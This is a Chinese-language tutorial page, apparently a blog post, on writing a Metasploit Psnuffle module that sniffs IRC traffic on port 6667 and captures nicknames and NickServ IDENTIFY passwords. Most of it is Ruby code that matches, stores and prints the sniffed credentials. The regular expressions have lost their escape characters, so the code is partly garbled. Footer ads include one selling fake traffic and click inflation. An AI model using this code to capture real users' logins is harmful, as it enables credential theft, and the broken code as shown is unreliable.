Metasploit 扩展Psnuffle

扩展Psnuffle来嗅探其他协议

由于其模块化设计,Psnuffle很容易扩展。本部分将指导开发IRC(Internet Relay Chat)协议嗅探器(Notify和Nick消息)的过程。

 

data / exploits / psnuffle

一、模块位置

所有不同的模块都位于data / exploits / psnuffle中。这些名称与psnuffle中使用的协议名称相对应。为了开发我们自己的模块,我们将现有pop3嗅探器模块的重要部分作为模板。

self.sigs = {
:ok => /^(+OK[^n]*)n/si,
:err => /^(-ERR[^n]*)n/si,
:user => /^USERs+([^n]+)n/si,
:pass => /^PASSs+([^n]+)n/si,
:quit => /^(QUITs*[^n]*)n/si }

上面代码定义了在嗅探过程中用于识别有趣数据的表达模式。正则表达式在开始时看起来很奇怪,但非常强大。总之,()中的所有内容都将在后面的脚本中的变量中可用。

 

二、定义我们自己的psnuffle模块

self.sigs = {
:user => /^(NICKs+[^n]+)/si,
:pass => /b(IDENTIFYs+[^n]+)/si,}

对于IRC,这部分看起来像上面那个。并非所有的nickservers都使用IDENTIFY来发送密码,但是Freenode上的那个。

 

三、会话定义(Session)

对于每个模块,我们首先必须定义它应该处理的端口以及应该如何跟踪会话。

return if not pkt[:tcp] # We don't want to handle anything other than tcp
return if (pkt[:tcp].src_port != 6667 and pkt[:tcp].dst_port != 6667) # Process only packet on port 6667

#Ensure that the session hash stays the same for both way of communication
if (pkt[:tcp].dst_port == 6667) # When packet is sent to server
s = find_session("#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}-#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}")
else # When packet is coming from the server
s = find_session("#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}-#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}")
end

 

既然我们有一个唯一整合信息的会话对象,我们可以继续处理与之前定义的正则表达式匹配的数据包内容。

case matched
when :user # when the pattern "/^(NICKs+[^n]+)/si" is matching the packet content
s[:user]=matches #Store the name into the session hash s for later use
# Do whatever you like here... maybe a puts if you need to
when :pass # When the pattern "/b(IDENTIFYs+[^n]+)/si" is matching
s[:pass]=matches # Store the password into the session hash s as well
if (s[:user] and s[:pass]) # When we have the name and the pass sniffed, print it
print "-> IRC login sniffed: #{s[:session]} >> username:#{s[:user]} password:#{s[:pass]}n"
end
sessions.delete(s[:session]) # Remove this session because we dont need to track it anymore
when nil
# No matches, don't do anything else # Just in case anything else is matching...
sessions(s(:session)).merge!({k => matches}) # Just add it to the session object
end

注意:上述代码中倒数第二行sessions(s(:session))中的()请换成[]

    A+
发布日期:2018年05月11日 09:39:54  所属分类:Metasploit
最后更新时间:2018-05-11 09:46:18
评分: (1 票;平均数5.00 ;最高评分 5 ;用户总数1;总得分 5;百分比100.00)
付杰
SEO顾问服务 中小型网站 单站/最低99.9元 全方位优化
SEO顾问服务 中小型网站 单站/最低99.9元 全方位优化
  • ¥ 99.9元
  • 市场价:5000元
免费SSL证书服务 HTTPS申请 安装 配置 支持通配符*
免费SSL证书服务 HTTPS申请 安装 配置 支持通配符*
  • ¥ 199.9元
  • 市场价:20000元
刷流量、刷人气、刷点击、刷收藏、刷APP关键词服务
刷流量、刷人气、刷点击、刷收藏、刷APP关键词服务
  • ¥ 1.0元
  • 市场价:9.9元
花牛苹果 甘肃天水 李宏恩家自种 1斤 包邮
花牛苹果 甘肃天水 李宏恩家自种 1斤 包邮
  • ¥ 6.8元
  • 市场价:8.8元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: